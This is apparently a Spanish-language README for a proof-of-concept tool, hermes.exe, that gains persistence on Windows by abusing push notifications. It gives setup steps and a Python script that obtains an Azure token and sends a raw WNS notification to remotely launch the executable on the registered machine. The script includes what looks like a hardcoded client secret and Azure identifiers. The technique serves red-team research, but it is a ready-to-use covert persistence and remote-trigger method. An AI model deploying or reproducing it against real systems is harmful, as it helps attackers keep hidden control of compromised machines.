
Una PoC para lograr persistencia a través de notificaciones push en Windows.
Un PoC para lograr persistencia mediante notificaciones push en Windows
Para más detalles técnicos y contexto, lee nuestro artículo del blog aquí: https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence
Antes que nada, necesitas configurar Azure. Después debes ejecutar el ejecutable una vez para que se registre para las notificaciones push. Solo necesitas pasar el id de objeto de tu aplicación de Azure como argumento y, si todo sale bien, imprimirá la URI del canal tal como la recibe Microsoft. En ese momento puedes cerrar la aplicación.
hermes.exe <object_id>
Si el SDK 1.3 no está instalado, el binario intentará instalarlo junto con las extensiones necesarias.
Cuando tengas la URI del canal, puedes intentar lanzar tu ejecutable de forma remota desde otra máquina llamando a la API de notificaciones con los detalles de tu inquilino, y ver la magia:
import requests
secret = "4r8Q~XW6U_PmJYg6Eu_jV22DWlsnhyJBIrdpV"
app_id = "CA899E11-71CF-4DB3-962C-0EA65151C132" #not the object id but the Azure app id
tenant_id = "E83F2382-F012-475A-9A4C-30545F429FB7"
channel_uri = "https://wns2-am3p.notify.windows.com/?token=AwYAAAAiYI4p...."
def send_notification(secret, app_id, tenant_id, channel_uri, notification_data):
# Acquire token
url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = {
'grant_type': 'client_credentials',
'client_id': app_id,
'client_secret': secret,
'scope': 'https://wns.windows.com/.default'
}
response = requests.post(url, headers=headers, data=data)
response_json = response.json()
token = response_json['access_token']
# Send notification
headers = {
'Content-Type': 'application/octet-stream',
'Authorization': f'Bearer {token}',
'X-WNS-Type': 'wns/raw',
}
response = requests.post(channel_uri, headers=headers, data=notification_data)
return response.status_code, response.text
send_notification(secret, app_id, tenant_id, channel_uri, "This is a notification")